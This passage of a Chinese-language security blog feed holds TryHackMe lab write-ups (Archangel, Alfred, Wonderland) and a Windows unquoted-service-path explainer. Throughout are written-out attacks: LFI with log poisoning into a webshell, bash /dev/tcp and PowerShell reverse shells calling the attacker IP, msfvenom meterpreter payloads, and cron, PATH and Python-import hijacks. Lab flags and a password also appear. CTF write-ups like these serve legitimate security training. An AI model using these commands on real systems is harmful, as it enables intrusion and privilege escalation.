&lt;li&gt;80 , 22掃路徑 &lt;code&gt;python3 dirsearch.py -u http://10.10.163.60/ -e all&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/21bd5-VzsbcR0.png"&gt;觀察網頁首頁，發現裡面有 &lt;code&gt;/flag&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c6590-ZEE1LMm.png"&gt;&lt;/li&gt;
&lt;li&gt;點進去後 ……&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2c29c-xjq9ave.png"&gt;&lt;/li&gt;
&lt;li&gt;幹…&lt;/li&gt;
&lt;li&gt;用 curl 觀察&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cf4f4-t50dIAx.png"&gt;&lt;/li&gt;
&lt;li&gt;他會自動跳轉到這邊 &lt;a href="https://www.youtube.com/watch?v=dQw4w9WgXcQ"&gt;https://www.youtube.com/watch?v=dQw4w9WgXcQ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="dfferent-hostname"&gt;Dfferent Hostname&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;題目提示 : &lt;code&gt;Find a different hostname&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d2734-qUlq0LJ.png"&gt;&lt;/li&gt;
&lt;li&gt;可以觀察 &lt;code&gt;mafialive.thm``sudo vim /etc/hosts&lt;/code&gt;- 加上這一行 &lt;code&gt;10.10.163.60 mafialive.thm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;接下來到 &lt;a href="http://mafialive.thm/"&gt;http://mafialive.thm/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e051f-KYuqXWR.png"&gt;&lt;/li&gt;
&lt;li&gt;就拿到了 flag再掃一次路徑&lt;code&gt;python3 dirsearch.py -u http://mafialive.thm/ -e all&lt;/code&gt;- &lt;code&gt;http://mafialive.thm/robots.txt&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9e2fc-sAPv2Gu.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/test.php&lt;/code&gt;&lt;a href="http://mafialive.thm/test.php"&gt;http://mafialive.thm/test.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a2a18-N9Ec4bZ.png"&gt;觀察按下按鈕後的網址- &lt;a href="http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php"&gt;http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d7688-XPlzuRQ.png"&gt;&lt;/li&gt;
&lt;li&gt;感覺很明顯可以 LFI嘗試 Base64 Payloadhttp://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php&lt;/li&gt;
&lt;li&gt;成功 !!&lt;/li&gt;
&lt;li&gt;觀察 test.php 原始碼http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff79c6"&gt;INCLUDE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Test Page&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;Not&lt;/span&gt; to be Deployed
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Here is a button
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;又撿到一個 flag &lt;code&gt;thm{explo1t1ng_lf1}&lt;/code&gt;觀察原始碼發現，網址裡不能出現 &lt;code&gt;../..&lt;/code&gt; 且一定要出現 &lt;code&gt;/var/www/html/development_testing``../..&lt;/code&gt; 可以用 &lt;code&gt;.././..&lt;/code&gt; 繞測試 &lt;code&gt;curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././etc/passwd&lt;/code&gt;成功!!&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/79e51-zGil911.png"&gt;來看 apache access log- &lt;code&gt;/var/log/apache2/access.log&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;成功 !!&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3c0a2-WYHb6LH.png"&gt;&lt;/li&gt;
&lt;li&gt;往上拉發現所有的 host log 都在這邊，所以可以直接針對 ip 來做 nc 寫 php&lt;code&gt;nc 10.10.163.60 80&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /?&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3f636-MiuNtLX.png"&gt;再回去看一次 access log- &lt;a href="http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log"&gt;http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;成功出現 phpinfo !!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d5a57-XqQ4scJ.png"&gt;寫入 webshell- &lt;code&gt;nc 10.10.163.60 80&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GET /&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/7eb4e-wGnyObt.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&amp;amp;A=ls!%5B%5D(/uploads/2022/02/ea69f-JHfk4lv.png)"&gt;http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&amp;amp;A=ls![](/uploads/2022/02/ea69f-JHfk4lv.png)&lt;/a&gt;下載 reverse shell- &lt;code&gt;http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&amp;amp;B=wget 10.13.21.55:8000/s -O /tmp/s&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1b396-GDeKuQ2.png"&gt;&lt;/li&gt;
&lt;li&gt;本地準備監聽 &lt;code&gt;nc -vlk 7877&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;執行 shell &lt;code&gt;http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&amp;amp;B=bash%20/tmp/s&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;成功接上&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/910b2-JkQjkHV.png"&gt;使用 python 讓 terminal 變漂亮- &lt;code&gt;python3 -c 'import pty; pty.spawn(&amp;quot;/bin/bash&amp;quot;)'&lt;/code&gt;找 user flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ee60c-voiBmAr.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;thm{lf1_t0_rc3_1s_tr1cky}&lt;/code&gt;找到使用者資料夾內有 passwordbackup- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5c0be-LKIcTu2.png"&gt;&lt;/li&gt;
&lt;li&gt;幹…再一次&lt;/li&gt;
&lt;li&gt;等……等等，不會吧&lt;/li&gt;
&lt;li&gt;該不會那個網址真 TM 是他的密碼 ?__?&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ba65b-rngMQwS.png"&gt;好的，好險不是使用 Linpeas 掃- &lt;code&gt;wget 10.13.21.55:8000/linpeas.sh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bash linpeas.sh&lt;/code&gt;找到一個可疑的 cron job&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e3381-9QYLgx9.png"&gt;發現 這個 cron 會使用 &lt;code&gt;archangel&lt;/code&gt; 來執行，而且我們對 &lt;code&gt;/opt/helloworld.sh&lt;/code&gt;有讀寫權限&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/73180-YYauluN.png"&gt;寫入 reverse shell&lt;code&gt;echo &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.13.21.55/7878 0&amp;gt;&amp;amp;1'&amp;quot; &amp;gt;&amp;gt; /opt/helloworld.sh&lt;/code&gt;等待一分鐘後，自動接上!!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f17f3-ZQ4fZmN.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/72118-D3bK7Rc.png"&gt;&lt;/li&gt;
&lt;li&gt;找到 flag&lt;code&gt;thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}&lt;/code&gt;觀察使用者中的 secret 資料夾中- 有一個 backup 檔案有 suid&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/78721-omAJJqD.png"&gt;透過 nc 把檔案傳出來- 監聽端 &lt;code&gt;nc -l -p 1234 &amp;gt; meow&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;發送端 &lt;code&gt;nc 10.13.21.55 1234 哼!這種等級的 reverse，連 ida 都不用開，我們用 r2 就好ㄌ- &lt;/code&gt;r2 meow`&lt;/li&gt;
&lt;li&gt;&lt;code&gt;aaa&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;s main&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;VV&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2bc2a-P6euu23.png"&gt;&lt;/li&gt;
&lt;li&gt;可以看到他會用 system call 一個 cp&lt;/li&gt;
&lt;li&gt;而 cp 沒有寫絕對路徑，所以可以用 path 進行誤導&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="誤導-path"&gt;誤導 path&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在家目錄創一個 fakepath&lt;code&gt;mkdir fakepath&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;export PATH=/home/archangel/fakepath:$PATH&lt;/code&gt;準備一個假的 cp 檔案- &lt;code&gt;echo '#!/bin/bash' &amp;gt; cp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;echo &amp;quot;/bin/bash&amp;quot; &amp;gt;&amp;gt; cp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;chmod +x cp&lt;/code&gt;執行 backup- &lt;code&gt;./backup&lt;/code&gt;取得 root 權限 !!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cac95-h6rVFzI.png"&gt;&lt;code&gt;thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Alfred (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/06/alfred-try-hack-me-writeup/</link><pubDate>Fri, 06 Aug 2021 23:45:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/06/alfred-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/alfred"&gt;https://tryhackme.com/room/alfred&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.244.238&lt;/p&gt;
&lt;h2 id="initial-access"&gt;Initial access&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rustscan -a 10.10.244.238&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8a449-mbVfrX4.png"&gt;&lt;/li&gt;
&lt;li&gt;80&lt;/li&gt;
&lt;li&gt;3389&lt;/li&gt;
&lt;li&gt;8080&lt;code&gt;nmap -A -p80,3389,8080 10.10.244.238&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2f617-O4ife5c.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 8080 的 Jenkins 是Jetty 9.4.z-SNAPSHOT&lt;/li&gt;
&lt;li&gt;但找不到相關的 Exploit80 port 首頁- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/72c5a-FiQgTSO.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來沒什麼特別的東西QQ&lt;/li&gt;
&lt;li&gt;&lt;code&gt;python3 dirsearch.py -u http://10.10.244.238/&lt;/code&gt;掃了之後也沒啥東西8080 port 登入頁面- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/88eec-ZpPK5aV.png"&gt;&lt;/li&gt;
&lt;li&gt;發現會掃出一些404，但沒啥幫助&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/55d89-GHAKXIx.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="進入-jenkins"&gt;進入 Jenkins&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;看到官方的 hint 寫 &lt;code&gt;*****:*****&lt;/code&gt;直接通靈猜 &lt;code&gt;admin:admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;就進去了 ……&lt;/li&gt;
&lt;li&gt;好無聊= =透過 Deploy 的 build code 輸入指令- &lt;code&gt;whoami&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c2ccc-c0NEr3A.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;systeminfo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9b71f-auOcIUd.png"&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8f0fa-TCQzzJs.png"&gt;準備 Windows Reverse Shell- 本機&lt;code&gt;wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nc -nvlp 7877&lt;/code&gt;靶機- &lt;code&gt;powershell iex (New-Object Net.WebClient).DownloadString('http://10.13.21.55:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.13.21.55 -Port 7877&lt;/code&gt;就成功接上了- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/a26cd-UwVAt2v.png"&gt;取得 uesr flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/92321-4luITJB.png"&gt;使用 msfvenom 產 meterperter reverse shell- &lt;code&gt;msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.21.55 LPORT=7879 -f exe -o meow.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6b1fc-aYt7UNF.png"&gt;開啟 &lt;code&gt;msfconsole&lt;/code&gt; 準備接收- &lt;code&gt;use exploit/multi/handler&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set LHOST 10.13.21.55&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set LPORT 7879&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set PAYLOAD windows/meterpreter/reverse_tcp&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;show options&lt;/code&gt; 確認參數是否正確&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3ca44-l9tJQ4T.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;run&lt;/code&gt; 等待接收下載並執行 meterpreter 的 shell- &lt;code&gt;powershell &amp;quot;(New-Object System.Net.WebClient).Downloadfile('http://10.13.21.55:8000/meow.exe','meow.exe')&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Start-Process &amp;quot;meow.exe&amp;quot;&lt;/code&gt;msf 接上了!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ca882-OdnUd28.png"&gt;What is the final size of the exe payload that you generated?- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c9186-94o2f0D.png"&gt;&lt;/li&gt;
&lt;li&gt;73802meterperter- &lt;code&gt;getuid&lt;/code&gt;回傳 &lt;code&gt;Alfred\bruce``load incognito``list_tokens -g&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5afbc-mhZvk5Z.png"&gt;&lt;/li&gt;
&lt;li&gt;發現可以利用 &lt;code&gt;BUILTIN\Administrators``impersonate_token &amp;quot;BUILTIN\Administrators&amp;quot;&lt;/code&gt;- 成功!&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6d7ac-dPzyJX4.png"&gt;&lt;/li&gt;
&lt;li&gt;再次 &lt;code&gt;whoami&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/93f9a-kwC11C5.png"&gt;Migrate 到 system- &lt;code&gt;ps&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/95c21-YGSMxtS.png"&gt;&lt;/li&gt;
&lt;li&gt;準備寄生到 &lt;code&gt;services.exe``migrate 668&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b761d-yiPSvrR.png"&gt;&lt;/li&gt;
&lt;li&gt;成功!輸入 &lt;code&gt;shell&lt;/code&gt;- &lt;code&gt;cd system&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;type root.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;取得 root flag&lt;code&gt;dff0f748678f280250f25a45b8046b4a&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Windows Unquoted Services Path</title><link>http://blog.stevenyu.tw/2021/08/05/windows-unquoted-services-path/</link><pubDate>Thu, 05 Aug 2021 23:31:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/05/windows-unquoted-services-path/</guid><description>&lt;p&gt;顧名思義，這是一個 Windows 服務上面的漏洞。找到符合沒有加上引號的路徑很常見，但是真正能夠運用的機率不一定很多，因為前提是還需要注意相關路徑的寫入以及讀取權限。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;使用前提：檔案的路徑中有空格&lt;/li&gt;
&lt;li&gt;而且檔案沒有用引號括起來&lt;/li&gt;
&lt;li&gt;對於該檔案的前一個目錄具有寫入的權限&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;達成這兩個前提就有機會可以實作 Unquoted Services Path 相關的漏洞應用，但通常在 XP 以後的作業系統，預設普通使用者沒有 &lt;code&gt;C:\&lt;/code&gt; 的寫入權限，所以大多數狀況都不適用；而使用者也須要具備對於該 Services 的開啟與關閉權限。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;先備知識，觀察權限&lt;a href="https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk"&gt;AccessChk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Services 權限&lt;code&gt;accesschk.exe /accepteula -ucqv {services_name}&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/613c8-gmO6qI7.png"&gt;資料夾權限- &lt;code&gt;accesschk -uwdq &amp;quot;C:\Program Files (x86)&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e3794-3X20RSe.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="觀察"&gt;觀察&lt;/h2&gt;
&lt;h3 id="wmic"&gt;wmic&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;輸入 &lt;code&gt;wmic service get name,pathname&lt;/code&gt;可以觀察到所有服務的名稱與檔案名稱&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/6065b-Z2gk6iV.png"&gt;輸入 &lt;code&gt;wmic service get pathname,startname&lt;/code&gt;- 可以觀察到程式名稱與執行者名稱(startname)&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e4ace-SuQyoda.png"&gt;在此， startname 若為 &lt;code&gt;LocalSystem&lt;/code&gt; 則代表有 &lt;code&gt;system&lt;/code&gt; 權限&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="winpeas"&gt;Winpeas&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Winpeas 也有這種相關提示&lt;code&gt;No quotes and Space detectd&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2800c-qC8v4Jb.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="實作與解釋"&gt;實作與解釋&lt;/h2&gt;
&lt;p&gt;假設我們看到一個 Path 如下所述&lt;br&gt;
&lt;code&gt;C:\Program Files (x86)\meow\meowmeow 8.7\meoewww.exe&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;我們可以發現路徑依序為&lt;code&gt;Program Files (x86)&lt;/code&gt;Windows 會先嘗試解釋為 &lt;code&gt;Program.exe&lt;/code&gt; 再解釋 &lt;code&gt;Program Files (x86)``meow``meowmeow 8.7&lt;/code&gt;- Windows 會先嘗試解釋為 &lt;code&gt;meowmeow.exe&lt;/code&gt; 再解釋 &lt;code&gt;meowmeow 8.7``meoewww.exe&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在這段路徑中，我們觀察路徑的空白會發現，有兩個可以利用的點，分別是路徑中有空白的&lt;code&gt;Program Files (x86)&lt;/code&gt;以及&lt;code&gt;meowmeow 8.7&lt;/code&gt;&lt;/p&gt;</description></item><item><title>Wonderland (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/05/wonderland-try-hack-me-writeup/</link><pubDate>Thu, 05 Aug 2021 13:30:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/05/wonderland-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL: &lt;a href="https://tryhackme.com/dashboard"&gt;https://tryhackme.com/dashboard&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.166.15&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;一直 nmap 太老梗太無聊了來玩玩新東西 &lt;code&gt;RustScan&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;sudo dpkg -i rustscan_2.0.1_amd64.deb``rustscan -a 10.10.166.15&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ac630-Gnkagw5.png"&gt;&lt;/li&gt;
&lt;li&gt;開 22 跟 80&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="網址"&gt;網址&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;http://10.10.166.15/透過 dirsearch 可以找到&lt;code&gt;/r&lt;/code&gt;http://10.10.166.15/r/ 再掃，可以掃到- &lt;code&gt;/a&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/63a8a-ynk4AVX.png"&gt;感覺每次都是一個字，所以可以爆搜看看，自己寫一個 python 腳本- &lt;code&gt;import requests from multiprocessing import Pool url = 'http://10.10.166.15/r/a/' alphabat = 'abcdefghijklmnopqrstuvwxyz' def req(i): res = requests.get(f'{url}/{i}') if res.status_code == 200: print(i) p = Pool(10) p.map(req,alphabat)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;如果爆到正確的就會 print 出來，然後手動把搜的結果加去 url 最後面再爆所以最後爆出的結果是&lt;code&gt;r/a/b/b/i/t&lt;/code&gt;http://10.10.166.15/r/a/b/b/i/t/- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/ce654-dZNYcX2.png"&gt;&lt;/li&gt;
&lt;li&gt;觀察原始碼會發現一串奇怪的字串&lt;code&gt;alice:HowDothTheLittleCrocodileImproveHisShiningTail&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;斷詞後發現是 &lt;code&gt;How Doth The Little Crocodile Improve His Shining Tail&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;來自於How Doth the Little Crocodile&lt;/li&gt;
&lt;li&gt;路易斯·卡羅創作的詩&lt;code&gt;How doth the little crocodile Improve his shining tail And pour the waters of the Nile On every golden scale! How cheerfully he seems to grin How neatly spreads his claws, And welcomes little fishes in With gently smiling jaws!&lt;/code&gt;好…完全不重要&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ssh"&gt;SSH&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;通靈一下，我們時常會把帳號跟密碼用 &lt;code&gt;:&lt;/code&gt; 隔開說不定，上面那串就是 alice 的密碼！嘗試ssh登入看看&lt;code&gt;ssh alice@10.10.166.15&lt;/code&gt;密碼 &lt;code&gt;HowDothTheLittleCrocodileImproveHisShiningTail&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2e2f4-gjqdOYu.png"&gt;到處找了一輪，都找不到 &lt;code&gt;user.txt&lt;/code&gt; QAQ- 算了，我們直接想辦法提權，等有 root 後再用上帝視角來搜!&lt;/li&gt;
&lt;li&gt;但反而我們使用者&lt;code&gt;alice&lt;/code&gt;的家目錄有一個沒有權限讀的 &lt;code&gt;root.txt&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/88210-oOd2vhi.png"&gt;輸入 &lt;code&gt;sudo -l&lt;/code&gt; 觀察- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/36e45-BjLRyHY.png"&gt;&lt;/li&gt;
&lt;li&gt;發現我們可以用 &lt;code&gt;rabbit&lt;/code&gt; 使用者身分執行 &lt;code&gt;/usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;所以執行方法應該如下 &lt;code&gt;sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="挾持-python"&gt;挾持 Python&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;觀察 &lt;code&gt;walrus_and_the_carpenter.py&lt;/code&gt;發現內部的程式碼會 &lt;code&gt;import random&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;這個時候我們可以透過一些小技巧挾持他的 &lt;code&gt;random&lt;/code&gt;Python 的 import 有一個特性- 首先他會讀取同一個資料夾裡面，是否有相同檔名的檔案來給他 Import&lt;/li&gt;
&lt;li&gt;再來才會去找 &lt;code&gt;sys.path&lt;/code&gt; 裡面的東西可以輸入 &lt;code&gt;python3 -c &amp;quot;import sys; print(sys.path)&amp;quot;&lt;/code&gt; 觀察所以由於該檔案在我們家目錄，我們可以在自己家目錄下創一個 &lt;code&gt;random.py&lt;/code&gt;- 此時如果執行該 python 檔案，即可使用我們自己的 random&lt;/li&gt;
&lt;li&gt;我們建造的 &lt;code&gt;random.py``python3 import pty pty.spawn(&amp;quot;/bin/bash&amp;quot;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;以 &lt;code&gt;rabbit&lt;/code&gt; 使用者執行看看&lt;code&gt;sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;就會發現我們噴成 rabbit 的 shell 了!&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d47f3-Oo40rbI.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="逆向工程"&gt;逆向工程&lt;/h2&gt;
&lt;ul&gt;
